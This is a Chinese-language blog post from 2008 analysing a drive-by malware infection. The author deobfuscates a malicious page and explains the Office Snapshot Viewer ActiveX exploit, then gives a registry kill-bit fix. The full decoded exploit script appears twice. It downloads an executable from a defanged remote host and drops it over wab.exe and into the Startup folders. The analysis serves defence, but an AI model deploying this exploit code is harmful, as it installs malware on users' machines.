OFFICE2003正版验证
[转贴]山寨之王 国内山寨统统跪下吧..Lamborghini Reventon山寨版
解决Microsoft Office Snapshot Viewer ActiveX 漏洞
[
2008/08/06 05:18 | by king ]
2008/08/06 05:18 | by king ]
| 提供有偿代为下载服务。服务器加光纤挂BT/EM/SHARE，速度爆快!只要有源铁定拖下来！ |
打开IE发现主页被篡改，经常弹出未知网页，杀毒软件和防火墙也打不开，打开某些程序提示软件出错(像是已经被感染)，看来中了很BT的病毒，如果手工杀起毒来，恐怕需要一些时候了。一般情况下，这里的机器中了毒基本都是用GHOST重新装的，看来这台机器也是要这样了，节省时间，反正里面也没什么重要数据。但是重装之前得分析清楚，是什么原因让这个机器中毒了，由于这里的人平时也不下载什么软件，由于软件被木马捆绑中毒的概率很低，多半是浏览哪个网页导致的。
先断开本地连接，在一个弹出网页中找到了如下代码：
一看就是挂马了，把这个网页通过另一台机器用迅雷把这张网页下载下来，看到一堆的代码：
是自定义函数加密的网页木马，加密代码的最上面有一个eval函数，把eval改成document.write保存后直接打开这个页面，得到第一次解密。如下:
复制出以上解密的代码，再建立第二张网页，把document.write(t)换成document.getElementById('textfield').value=t;
在网页的最下面写上
<form id="form1" name="form1" method="post" action="">
<label>
<textarea name="textfield" cols="100" rows="50"></textarea>
</label>
</form>
<label>
<textarea name="textfield" cols="100" rows="50"></textarea>
</label>
</form>
注意textfield与document.getElementById('textfield').value=t;里的textfield是相对应的。之后打开这个网页，得到了最终解密的结果。
贴出完整的代码如下：
<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;
var x;
var obj;
var mycars = new Array();
mycars[0] = "c:/Program Files/Outlook Express/wab.exe";
mycars[1] = "d:/Program Files/Outlook Express/wab.exe";
mycars[2] = "e:/Program Files/Outlook Express/wab.exe";
mycars[3] = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe";
mycars[4] = "C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe";
var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1");
if(objlcx="[object]")
{
setTimeout('window.location = "ldap://"',3000);
for (x in mycars)
{
obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1")
var buf1 = 'hxxp://jijiks8ahsda.cn/9/ck.exe';
var buf2=mycars[x];
obj.Zoom = 0;
obj.ShowNavigationButtons = false;
obj.AllowContextMenu = false;
obj.SnapshotPath = buf1;
try
{
obj.CompressedPath = buf2;
obj.PrintSnapshot();
}catch(e){}
}
}
</script>
function killErrors() {
return true;
}
window.onerror = killErrors;
var x;
var obj;
var mycars = new Array();
mycars[0] = "c:/Program Files/Outlook Express/wab.exe";
mycars[1] = "d:/Program Files/Outlook Express/wab.exe";
mycars[2] = "e:/Program Files/Outlook Express/wab.exe";
mycars[3] = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe";
mycars[4] = "C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe";
var objlcx = new ActiveXObject("snpvw.Snapshot Viewer Control.1");
if(objlcx="[object]")
{
setTimeout('window.location = "ldap://"',3000);
for (x in mycars)
{
obj = new ActiveXObject("snpvw.Snapshot Viewer Control.1")
var buf1 = 'hxxp://jijiks8ahsda.cn/9/ck.exe';
var buf2=mycars[x];
obj.Zoom = 0;
obj.ShowNavigationButtons = false;
obj.AllowContextMenu = false;
obj.SnapshotPath = buf1;
try
{
obj.CompressedPath = buf2;
obj.PrintSnapshot();
}catch(e){}
}
}
</script>
其中http换成了hxxp防止误入。
很明显，这个是Microsoft Office Snapshot Viewer ActiveX 漏洞利用代码，是Office系列软件中Access的漏洞，受这个漏洞影响的Access版本有2003、2002、2000，如果仅仅安装了Microsoft Snapshot Viewer 10.0.4622程序，也具有该漏洞。也难怪这个漏洞会使打全补丁的系统中招，目前官方没有给出补丁，其实世界上根本没有打全了补丁的系统。
我们看到代码中有这样的代码：
1mycars[0] = "c:/Program Files/Outlook Express/wab.exe";
2mycars[1] = "d:/Program Files/Outlook Express/wab.exe";
3mycars[2] = "e:/Program Files/Outlook Express/wab.exe";
4mycars[3] = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe";
5mycars[4] = "C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe";
2mycars[1] = "d:/Program Files/Outlook Express/wab.exe";
3mycars[2] = "e:/Program Files/Outlook Express/wab.exe";
4mycars[3] = "C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Thunder.exe";
5mycars[4] = "C:/Documents and Settings/All Users/Start Menu/Programs/Startup/Thunder.exe";
可以看出，漏洞利用者想尽了利用的方式，mycars[0] = "c:/Program Files/Outlook Express/wab.exe";mycars[1] = "d:/Program Files/Outlook Express/wab.exe";mycars[2] = "e:/Program Files/Outlook Express/wab.exe";这个是能够触发直接运行恶意程序的利用方式，而后两句，一个是写入启动项，一个是写入迅雷开机自启动里面。甚至说即使不直接触发漏洞运行，写在启动里面，开机后恶意程序也会悄悄的运行。而代码里这句hxxp://jijiks8ahsda.cn/9/ck.exe就是运程下载恶意程序的地址了。
目前这个漏洞利用代码已经在网上传开了，而杀毒软件自带的漏洞更新程序并未见到这个官方给出的这个漏洞的补丁。
笔者GHOST完系统后，系统中自带了OFFICE2003，把这个hxxp://jijiks8ahsda.cn/9/ck.ex换成了一个自写的VB小程序亲自在本地测试了一下这个漏洞，运行该网页后弹出了程序窗口，并且在启动项里找到VB小程序。该漏洞对于未做安全防护的用户中马的概率十分的高，最后做了下全局域网的安全防护。
首先设置一下IE的安全级别，所有机器上INTERNET安全级别设置了为“高”，之后在受限站点里面加入该站点，加入该恶意站点。然后通过禁用COM组件安装包，来禁止该漏洞触发，这只能是临时解决方案。将以下代码复制到记事本。
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50-
368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60-
368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210-
368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D50-
368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F0E42D60-
368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F2175210-
368C-11D0-AD81-00A0C90DC8D9}]
"Compatibility Flags"=dword:00000400
把其另存为safe.reg，在全局域网所有机器上执行，导入注册表，这样就手工禁用了COM组件安装包。最后开启所有机器上的杀毒软件的网页木马拦截功能，等待官方的补丁出来后，迅速打上该补丁。
最后编辑： king 编辑于2008/08/08 13:28
